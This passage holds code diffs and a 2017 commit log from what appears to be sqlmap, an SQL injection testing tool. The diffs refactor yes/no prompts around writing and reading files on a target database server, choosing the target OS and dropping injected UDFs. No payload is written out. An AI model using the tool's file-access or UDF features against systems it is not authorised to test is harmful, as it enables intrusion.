    def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False):
-        output = None
+        choice = None

        if forceCheck is not True:
            message = "do you want confirmation that the local file '%s' " % localFile
            message += "has been successfully written on the back-end DBMS "
            message += "file system ('%s')? [Y/n] " % remoteFile
-            output = readInput(message, default="Y")
+            choice = readInput(message, default='Y', boolean=True)

-        if forceCheck or (output and output.lower() == "y"):
+        if forceCheck or choice:
            return self._checkFileLength(localFile, remoteFile)

        return True
@@ -173,9 +173,8 @@ class Filesystem:
        message = "do you want confirmation that the remote file '%s' " % remoteFile
        message += "has been successfully downloaded from the back-end "
        message += "DBMS file system? [Y/n] "
-        output = readInput(message, default="Y")

-        if not output or output in ("y", "Y"):
+        if readInput(message, default='Y', boolean=True):
            return self._checkFileLength(localFile, remoteFile, True)

        return None
@@ -205,7 +204,7 @@ class Filesystem:

        self.checkDbmsOs()

-        for remoteFile in remoteFiles.split(","):
+        for remoteFile in remoteFiles.split(','):
            fileContent = None
            kb.fileReadMode = True

@@ -45,12 +45,12 @@ class Fingerprint:
        msg = "do you want to provide the OS? [(W)indows/(l)inux]"

        while True:
-            os = readInput(msg, default="W")
+            os = readInput(msg, default='W').upper()

-            if os[0].lower() == "w":
+            if os == 'W':
                Backend.setOs(OS.WINDOWS)
                break
-            elif os[0].lower() == "l":
+            elif os == 'L':
                Backend.setOs(OS.LINUX)
                break
            else:
@@ -101,7 +101,7 @@ class Miscellaneous:
            query = "SELECT %s" % query

        kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query))
-        kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "")
+        kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(',', "").replace('-', "").replace(' ', "")

    def delRemoteFile(self, filename):
        if not filename:
@@ -169,9 +169,8 @@ class Miscellaneous:

            for udf, inpRet in udfDict.items():
                message = "do you want to remove UDF '%s'? [Y/n] " % udf
-                output = readInput(message, default="Y")

-                if not output or output in ("y", "Y"):
+                if readInput(message, default='Y', boolean=True):
                    dropStr = "DROP FUNCTION %s" % udf

                    if Backend.isDbms(DBMS.PGSQL):
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
Miroslav Stampar	06deda3223	Fixes #2672	2017-09-01 14:29:52 +02:00
Miroslav Stampar	d4170f11f0	Patch for #2654	2017-08-28 17:29:46 +02:00
Miroslav Stampar	cb2258fea4	Fixes #2603	2017-08-28 13:02:08 +02:00
Miroslav Stampar	c871cedae4	Adding hidden option '--force-dbms' to skip fingerprinting	2017-08-28 12:30:42 +02:00
Miroslav Stampar	3e4130c5e6	Update for #2665	2017-08-28 11:08:36 +02:00
Miroslav Stampar	a6c04a59cb	Minor update	2017-08-23 14:10:11 +02:00
Miroslav Stampar	53eb44304f	Proper patch for #2666	2017-08-23 14:08:40 +02:00
Miroslav Stampar	400339a884	Fixes #2665	2017-08-23 13:52:51 +02:00
Miroslav Stampar	8b0c50f25d	Update related to the #2663	2017-08-23 13:17:37 +02:00
Miroslav Stampar	e42b63f51c	Typo fix	2017-08-20 10:02:26 +02:00
Miroslav Stampar	b8f88a079a	Fixes #2659	2017-08-20 10:00:04 +02:00
Miroslav Stampar	a761e1d165	Fixes #2656	2017-08-16 03:08:58 +02:00
Miroslav Stampar	5b6926ae05	Fixes #2654	2017-08-11 11:48:05 +02:00
Miroslav Stampar	e862da6d4e	Update for an Issue #2653	2017-08-11 10:47:32 +02:00
Miroslav Stampar	1ac0704c09	Fixes #2651	2017-08-09 16:52:36 +02:00
Miroslav Stampar	b6b51bea9d	Fixes #2649	2017-08-07 11:27:22 +02:00
Miroslav Stampar	672abe8416	Minor just in case update	2017-08-04 13:59:15 +02:00
Miroslav Stampar	fac6712a35	Implements #2647 (Basic authorization for sqlmapapi)	2017-08-04 13:37:49 +02:00
Miroslav Stampar	68ee1f361b	Fixes #2640	2017-07-31 14:20:59 +02:00
Miroslav Stampar	62ae149464	Minor patch	2017-07-29 03:35:05 +02:00
Miroslav Stampar	f071c8500c	Fixes #2634	2017-07-29 03:18:49 +02:00
Miroslav Stampar	5745d650f8	Fixes #2635	2017-07-29 02:42:20 +02:00
Miroslav Stampar	de8ea53d46	Fixes #2628	2017-07-28 00:37:33 +02:00
Miroslav Stampar	23081f83db	Fixes #2626	2017-07-28 00:16:06 +02:00
Miroslav Stampar	4d56a806e8	Minor patch	2017-07-28 00:00:09 +02:00
Miroslav Stampar	1745bac0ab	Fixes #2625	2017-07-26 00:54:29 +02:00
Miroslav Stampar	0f9c81965b	Implementation on request	2017-07-26 00:24:13 +02:00
Miroslav Stampar	d12b65d38c	Fixes #2624	2017-07-25 23:32:30 +02:00
Miroslav Stampar	38c70d9799	Minor update	2017-07-21 11:09:00 +02:00
Miroslav Stampar	a9a744fec6	Merge pull request #2620 from delvelabs/mark-steps-in-har Fix HAR validation for HAR viewer	2017-07-21 11:07:16 +02:00
Louis-Philippe Huberdeau	3c5ee552f0	Make sure non-optional properties are present	2017-07-20 08:50:03 -04:00
Miroslav Stampar	8ca45695ab	Minor update	2017-07-20 03:09:09 +02:00
Miroslav Stampar	bf40526785	Merge pull request #2618 from delvelabs/mark-steps-in-har Mark steps in HAR file	2017-07-20 02:52:57 +02:00
Miroslav Stampar	9b41efcbe1	Minor patch	2017-07-20 02:50:34 +02:00
Miroslav Stampar	36f3fd72e6	Update for an Issue #2616	2017-07-20 02:41:47 +02:00
Louis-Philippe Huberdeau	facc54f60b	Receiving some messages with a differerent header line	2017-07-19 15:40:07 -04:00
Louis-Philippe Huberdeau	4c7da11331	Make sure the comment is not set to None	2017-07-19 14:46:36 -04:00
Louis-Philippe Huberdeau	e21f67715c	List is not a valid input type for timings, expecting object	2017-07-19 14:12:30 -04:00
Louis-Philippe Huberdeau	e38267a61e	Include tracking properties in the HAR to identify which test the requests were associated to	2017-07-18 15:46:52 -04:00
Miroslav Stampar	7d147f613f	Fixes #2611	2017-07-17 22:24:51 +02:00
Miroslav Stampar	591a60bbde	Fixes #2606	2017-07-11 14:48:22 +02:00
Miroslav Stampar	3f40bf1101	Fixes #2387	2017-07-06 11:44:18 +02:00
Miroslav Stampar	d248317b89	Update for people that just download 'sqlmap.py' <- they exist	2017-07-05 16:42:54 +02:00
Miroslav Stampar	75fd878242	Minor patch	2017-07-05 15:41:53 +02:00
Miroslav Stampar	30378c8ae3	Minor patch	2017-07-05 15:27:29 +02:00
Miroslav Stampar	c9b3b47d6f	Minor update	2017-07-05 14:07:21 +02:00
Miroslav Stampar	d038d027f9	Minor updates	2017-07-05 13:51:48 +02:00
Miroslav Stampar	c6577b80d9	Minor update	2017-07-05 13:35:02 +02:00
Miroslav Stampar	4a4fa07bdd	Minor update	2017-07-05 12:35:48 +02:00
Miroslav Stampar	a4ebd5418f	Patch for an Issue reported privately via email	2017-07-05 12:15:14 +02:00
Miroslav Stampar	ba369b73d3	Fixes #2601	2017-07-05 11:31:42 +02:00
Miroslav Stampar	614f290217	Update for #2597	2017-07-04 12:14:17 +02:00
Miroslav Stampar	1678b606a2	Update for #2597	2017-07-03 16:55:24 +02:00
Miroslav Stampar	aef5d6667f	Merge pull request #2597 from delvelabs/generate-har Generate HAR	2017-07-03 15:27:00 +02:00
Miroslav Stampar	b622c25f9d	Fixes #2598	2017-07-03 14:17:11 +02:00
Miroslav Stampar	e07ff7168b	Fixes #2599	2017-07-02 00:03:34 +02:00
Miroslav Stampar	ce48217ada	Minor update	2017-07-01 23:46:28 +02:00
Louis-Philippe Huberdeau	b6969df52a	Add missing httpVersion in request render, avoid encoding to base64 unless binary data is included	2017-06-29 10:14:20 -04:00
Miroslav Stampar	0e728aa73e	Changing default encoding of sys.argv	2017-06-29 15:33:34 +02:00
Miroslav Stampar	f93c19ba9d	Fixes #2596	2017-06-29 15:29:54 +02:00
Louis-Philippe Huberdeau	dd19527e9c	Remove debug _raw entry from output	2017-06-29 09:00:02 -04:00
Miroslav Stampar	a42ddad9c1	Implements #2583	2017-06-29 14:57:35 +02:00
Miroslav Stampar	a2973296a2	Fixes #2595	2017-06-29 14:26:25 +02:00
Miroslav Stampar	0961f6a5e9	Fixes #2592	2017-06-23 23:46:25 +02:00
Louis-Philippe Huberdeau	fae965f8b6	Parse and build the response block	2017-06-23 13:28:22 -04:00
Louis-Philippe Huberdeau	0d756a8823	Parse request data and convert to HAR, include in injection data	2017-06-23 11:50:21 -04:00
Louis-Philippe Huberdeau	8df4cc3983	Adding initial hook to receive the request/response pairs	2017-06-23 09:44:33 -04:00
Miroslav Stampar	5ec44b8346	Minor refactoring	2017-06-19 23:06:05 +02:00
Miroslav Stampar	d577c57a11	Merge pull request #2590 from neargle/master append %A0 to the blanks set of tamper/space2mysqlblank	2017-06-19 22:51:21 +02:00
neargle	ca24509e19	append %A0 to space2mysqlblank	2017-06-19 22:39:09 +08:00
Miroslav Stampar	e2d3187a78	Fixes #2576	2017-06-18 15:00:12 +02:00
Miroslav Stampar	b4980778dd	Fixes #2577	2017-06-18 14:07:48 +02:00
Miroslav Stampar	71457fea0e	Fixes #2585	2017-06-18 13:19:11 +02:00
Miroslav Stampar	34281af3f6	Minor cleaning	2017-06-14 08:13:41 -04:00
Miroslav Stampar	7dbbf3ecf5	Fixes 'codewatchorg/sqlipy/issues/12'	2017-06-07 23:19:19 +02:00
Miroslav Stampar	c41c93a404	Fixes #2568	2017-06-07 22:43:28 +02:00
Miroslav Stampar	9a7343e9f7	Fixes #2566	2017-06-07 16:07:27 +02:00
Miroslav Stampar	e0401104f2	Minor update	2017-06-07 12:55:14 +02:00
Miroslav Stampar	9da8d55128	Implements #2557	2017-06-07 11:22:06 +02:00
Miroslav Stampar	864711b434	Minor improvement	2017-06-05 16:48:14 +02:00
Miroslav Stampar	996ad59126	Minor patch	2017-06-05 16:28:19 +02:00
Miroslav Stampar	6d48df2454	Fixes #2562	2017-06-05 10:38:05 +02:00
Miroslav Stampar	55a43a837b	Minor update	2017-06-02 00:50:00 +02:00
Miroslav Stampar	455d41c6a0	Merge pull request #2555 from SValkanov/master Bulgarian translation	2017-06-02 00:49:01 +02:00
Miroslav Stampar	eb26dd8984	Fixes #2556	2017-06-02 00:44:01 +02:00
SValkanov	0f34300221	Edit Bulgarian translation	2017-06-01 16:51:00 +03:00
SValkanov	93a875ec71	Edit bulgarian translation	2017-06-01 16:07:47 +03:00
SValkanov	0edb4f6680	Added translation for Bulgarian language	2017-06-01 16:05:06 +03:00
Miroslav Stampar	b9b5d07336	Cleaning leftover	2017-05-30 11:41:42 +02:00
Miroslav Stampar	5f3235ef57	Fixes #2551	2017-05-30 11:40:06 +02:00
Miroslav Stampar	dfe42612be	Fixes #2549	2017-05-29 10:57:27 +02:00
Miroslav Stampar	a0202f7bfd	Fixes #2538	2017-05-26 16:08:30 +02:00
Miroslav Stampar	6dd9d5b2dd	Fixes #2547	2017-05-26 14:34:32 +02:00
Miroslav Stampar	0864387885	Minor update	2017-05-26 14:25:22 +02:00
Miroslav Stampar	359bfb2704	Minor adjustment	2017-05-26 14:14:35 +02:00
Miroslav Stampar	644ea2e3aa	Minor patch	2017-05-26 14:08:08 +02:00
Miroslav Stampar	071132cd56	Fixes #2543	2017-05-21 22:52:44 +02:00
Miroslav Stampar	7a18dde2e0	Merge pull request #2537 from HerendraTJ/patch-1 Manual Pengguna -> Panduan Pengguna	2017-05-18 12:13:13 +02:00
HerendraTJ	e146763399	Manual Pengguna -> Panduan Pengguna User Manual -> Panduan Pengguna	2017-05-18 12:59:57 +07:00
Miroslav Stampar	4ce08dcfa3	Patch for an Issue #2536	2017-05-17 00:22:18 +02:00
Miroslav Stampar	2ca5ddce5f	Fixes #2534	2017-05-15 17:03:05 +02:00
Miroslav Stampar	addb2445b7	Minor patch	2017-05-15 00:34:13 +02:00
Miroslav Stampar	4736a525b8	Fixes #2532	2017-05-13 17:28:28 +02:00
Miroslav Stampar	d3a08a2d22	Implementation for an Issue #2505	2017-05-07 23:12:42 +02:00
Miroslav Stampar	ee5b5cdcbc	Fixes #2514	2017-05-04 15:50:34 +02:00
Miroslav Stampar	f3f2c81cec	Minor patch (UTF8 used for HTTP params)	2017-05-04 15:45:15 +02:00
Miroslav Stampar	1e8df40981	Fixes #2499	2017-05-01 23:21:12 +02:00
Miroslav Stampar	389133654e	Fixes #2508	2017-05-01 23:06:37 +02:00
Miroslav Stampar	347ce87e27	Fixes #2511	2017-05-01 22:53:12 +02:00
Miroslav Stampar	ff5a954980	Fixes #2508	2017-04-30 08:32:26 +02:00
Miroslav Stampar	1a8de2aee1	Fixes #2504	2017-04-27 13:18:29 +02:00
Miroslav Stampar	ab08273d82	Fixes #2501	2017-04-23 23:50:30 +02:00
Miroslav Stampar	fbb845ad7c	Fixes #2500	2017-04-23 23:30:51 +02:00
Miroslav Stampar	15a1d55812	Fixes #2500	2017-04-23 23:14:05 +02:00
Miroslav Stampar	4643bd6517	Quick patch for #2498	2017-04-21 17:44:51 +02:00
Miroslav Stampar	1c5f01e2a2	Fixes #2487	2017-04-20 11:54:27 +02:00
Miroslav Stampar	ebbc68853d	Fixes #2496	2017-04-20 10:48:04 +02:00
Miroslav Stampar	3140fd0ca6	Fixes #2495	2017-04-20 10:29:05 +02:00
Miroslav Stampar	5bcbf63ddb	Fixes #2491	2017-04-19 16:13:31 +02:00
Miroslav Stampar	01fbda4bc9	Fixes #2490	2017-04-19 16:13:05 +02:00
Miroslav Stampar	ba22171a51	PEP 3113 cleanup	2017-04-19 14:56:32 +02:00
Miroslav Stampar	fc8eede952	Minor cleanup and one bug fix	2017-04-19 14:46:27 +02:00
Miroslav Stampar	c8a0c525fc	Fixes #2489	2017-04-19 14:19:39 +02:00
Miroslav Stampar	46c7c28919	Implementation for an Issue #2485	2017-04-19 13:56:29 +02:00
Miroslav Stampar	81e3395975	Minor update	2017-04-19 13:35:36 +02:00
Miroslav Stampar	0340ecd38a	Minor patch related to the #2487	2017-04-18 16:49:58 +02:00
Miroslav Stampar	2d05174545	Trivial update	2017-04-18 15:56:24 +02:00
Miroslav Stampar	5f2bb88037	Some code refactoring	2017-04-18 15:48:05 +02:00
Miroslav Stampar	65b02d4ab0	Minor update	2017-04-18 14:22:37 +02:00
Miroslav Stampar	ea58d29e2c	Minor update	2017-04-18 14:11:23 +02:00
Miroslav Stampar	47e0fc36c7	Minor consistency update	2017-04-18 14:02:25 +02:00
Miroslav Stampar	7ebba5614a	Moving brute from techniques to utils	2017-04-18 13:53:41 +02:00
Miroslav Stampar	686f53a7c6	Minor patch	2017-04-16 23:32:58 +02:00
Miroslav Stampar	67a3e8cd75	Minor patch	2017-04-14 13:19:00 +02:00
Miroslav Stampar	d9a931f77a	Minor cleanup	2017-04-14 13:14:53 +02:00
Miroslav Stampar	0e206da7c0	Minor patches (pydiatra)	2017-04-14 13:08:51 +02:00
Miroslav Stampar	81e6dab965	New extra script	2017-04-14 12:54:33 +02:00
Miroslav Stampar	a702dafd03	Fixes #2481	2017-04-14 12:47:24 +02:00
Miroslav Stampar	6b48f6ec26	Merge pull request #2480 from jwilk/spelling Fix typos	2017-04-14 12:22:15 +02:00
Jakub Wilk	06148cd610	Fix typos	2017-04-14 11:37:54 +02:00
Miroslav Stampar	36dfad192f	Better link to user's manual	2017-04-13 12:47:14 +02:00
Miroslav Stampar	9436c43306	Mailing list is dead. Long live the mailing list	2017-04-13 12:40:37 +02:00
Miroslav Stampar	c198fd7939	Update for an Issue #13	2017-04-12 10:54:29 +02:00
Miroslav Stampar	1e092c4e8d	Just in case update for an Issue #2474	2017-04-11 13:34:40 +02:00
Miroslav Stampar	1e310631ab	Minor stability patch	2017-04-11 10:01:37 +02:00
Miroslav Stampar	47ee1a991f	Update for an Issue #2472	2017-04-11 09:47:27 +02:00
Miroslav Stampar	9b3d229294	Fixes #2471	2017-04-10 19:21:22 +02:00
Miroslav Stampar	c74756c3bc	Update regarding the #2467	2017-04-10 16:44:12 +02:00
Miroslav Stampar	1196a1b7f8	Fixes #405	2017-04-10 14:50:17 +02:00
Miroslav Stampar	c2262eda1a	Update of smalldict.txt with 7 (small) more from SecLists	2017-04-07 16:30:36 +02:00
Miroslav Stampar	02eacc32c1	Minor cleanup	2017-04-07 16:30:02 +02:00
Miroslav Stampar	b1a112f72c	Updating wordlist.zip file with 15 dicts from SecLists	2017-04-07 16:18:21 +02:00
Miroslav Stampar	464caf056b	Minor update	2017-04-07 15:55:18 +02:00
Miroslav Stampar	44c85f8351	Reverting back the bottle.py revision because of numerous Python 2.6 incompatibilities	2017-04-07 15:10:28 +02:00
Miroslav Stampar	ad3283fd24	Another Python 2.6 patch	2017-04-07 15:05:54 +02:00
Miroslav Stampar	07208c45ef	Patch of bottle.py for Python 2.6	2017-04-07 14:59:24 +02:00
Miroslav Stampar	751f423ae0	Adding latest revision of bottle.py	2017-04-07 14:55:25 +02:00
Miroslav Stampar	c124086021	Minor update for #1282	2017-04-07 14:46:41 +02:00
Miroslav Stampar	f285bc7459	Minor update	2017-04-07 14:30:52 +02:00
Miroslav Stampar	b4c4d3f72a	Fixes latest Python 2.6 compatibility issues	2017-04-06 11:37:42 +02:00
Miroslav Stampar	cfe34f61b8	Implementation for an Issue #1895	2017-04-06 11:33:59 +02:00
Miroslav Stampar	c1c7ea33fe	Minor update	2017-03-30 12:05:05 +02:00
Miroslav Stampar	4458a443ef	Fixes #1664	2017-03-30 11:58:03 +02:00
Miroslav Stampar	16bd3a1f02	Fixes #2453	2017-03-30 11:42:34 +02:00
Miroslav Stampar	a358bc0a38	Minor update	2017-03-30 10:24:57 +02:00
Miroslav Stampar	aebae6e27b	Added (heuristic) support for #1679	2017-03-30 10:16:35 +02:00
Miroslav Stampar	0a3e771b1b	Fixes #2449	2017-03-28 15:22:53 +02:00
Miroslav Stampar	f82c0497fa	Fixes #2447	2017-03-27 22:36:04 +02:00
Miroslav Stampar	715763885d	Fixes #2306	2017-03-24 14:20:18 +01:00
Miroslav Stampar	4aae5d9a9d	Fixes #2444	2017-03-19 21:34:47 +01:00
Miroslav Stampar	1bc583d358	Another patch related to the #2440	2017-03-17 09:43:45 +01:00
Miroslav Stampar	e506a390db	Minor patch (prevent message spamming of multiple union column possibilities)	2017-03-15 16:18:20 +01:00
Miroslav Stampar	c5b4af8636	Dummy commit (to provoke rehash)	2017-03-15 16:07:52 +01:00
Miroslav Stampar	c29e47f72f	Fixes #2440	2017-03-15 16:04:56 +01:00
Miroslav Stampar	4087213501	Merge pull request #2439 from klensy/mysql-fingerprint-update updated mysql version numbers	2017-03-14 21:15:44 +01:00
klensy	e4725366d3	updated mysql version numbers	2017-03-14 15:11:03 +03:00
Miroslav Stampar	60e8c725f9	Fixes #2437	2017-03-12 23:24:13 +01:00
Miroslav Stampar	5dba32b2e1	Fixes #2431	2017-03-12 09:52:37 +01:00
Miroslav Stampar	ef04c99069	No more dumb usage of '--dbms'	2017-03-06 12:53:04 +01:00
Miroslav Stampar	e2fb16c98c	Fixes #2425	2017-03-06 12:05:58 +01:00
Miroslav Stampar	d2b16c5c91	Fixes #2422	2017-03-01 11:09:55 +01:00
Miroslav Stampar	9f0c42dde0	Minor leftover	2017-03-01 10:09:13 +01:00
Miroslav Stampar	78ca371162	Adding option --web-root (Issue #2419 )	2017-03-01 10:07:26 +01:00
Miroslav Stampar	a35c976759	Proper implementation for an Issue #2418	2017-02-28 14:00:42 +01:00
Miroslav Stampar	89e9f4939d	Merge pull request #2418 from Ekultek/ip_regex IP address regex updated to not provide a false positive	2017-02-28 14:00:00 +01:00
Ekultek	71984fc452	updated IP address regex as to not provide false positive	2017-02-28 06:35:37 -06:00
Miroslav Stampar	a0a6702a4e	Minor patch (reported via ML)	2017-02-28 13:16:19 +01:00
Miroslav Stampar	b18444f215	Issue #2417 (most probably -> most likely)	2017-02-27 22:14:52 +01:00
Miroslav Stampar	7ea524800a	Taking couple of suggestions from #2417	2017-02-27 22:03:15 +01:00
Miroslav Stampar	7960045cf9	Fixes #2277 and #2300	2017-02-27 13:58:07 +01:00
Miroslav Stampar	d253a97a6f	Merge pull request #2411 from bbbbbrie/master Correct typo in basic.py	2017-02-27 12:55:59 +01:00
Brie Carranza	1475ba441c	Correct typo in basic.py	2017-02-26 09:05:36 -05:00
Miroslav Stampar	b2585cc8ea	Patch for #2410	2017-02-25 07:58:59 +01:00
Miroslav Stampar	7b263327cc	Update for #2410	2017-02-25 07:54:54 +01:00
Miroslav Stampar	cd31bf4ecb	Merge pull request #2410 from qnrq/patch-1 Adds option command to api client	2017-02-25 07:47:23 +01:00
Niklas Femerstrand	1b938c758f	Adds option command to api client	2017-02-25 10:24:00 +07:00
Miroslav Stampar	5a08b71999	Minor update	2017-02-23 11:36:37 +01:00
Miroslav Stampar	4b420e7579	Removing Google PageRank as it is dead now	2017-02-23 11:33:39 +01:00
Miroslav Stampar	6b580a682a	Minor update	2017-02-20 10:06:06 +01:00
Miroslav Stampar	d6e7c2acdc	Minor touch	2017-02-19 01:48:12 +01:00
Miroslav Stampar	4d3aa1605c	Merge pull request #2401 from tomahock/master Fix proxyFile regex to properly match an address with a -	2017-02-19 01:31:12 +01:00
Tomahock	7fe1820ce4	Fix proxyFile regex to properly match an address with a -	2017-02-17 23:32:32 +00:00
Miroslav Stampar	98e449e38c	Adding plus2fnconcat tamper script (Issue #2396 )	2017-02-17 10:26:25 +01:00
Miroslav Stampar	9acf122ba6	Patch for an Issue #2396	2017-02-16 16:56:54 +01:00
Miroslav Stampar	2ed144ec85	Patch for wrong encoding reported privately via email	2017-02-16 15:52:07 +01:00
Miroslav Stampar	ec0c103952	Bug fix (reported privately)	2017-02-15 10:30:29 +01:00
Miroslav Stampar	a35d1e5373	Minor patch related to the email from ML	2017-02-14 13:14:35 +01:00
Miroslav Stampar	f5cf22a536	Update for an Issue #2377	2017-02-06 13:57:33 +01:00
Miroslav Stampar	38f16decef	Update for an Issue #2384	2017-02-06 13:28:33 +01:00
Miroslav Stampar	15f86e85b1	Minor update for #2379	2017-02-06 12:03:18 +01:00
Miroslav Stampar	5217efc69b	Fixes #2379	2017-02-06 12:01:46 +01:00
Miroslav Stampar	03bbf552ef	Patch for an Issue #2382	2017-02-06 11:14:45 +01:00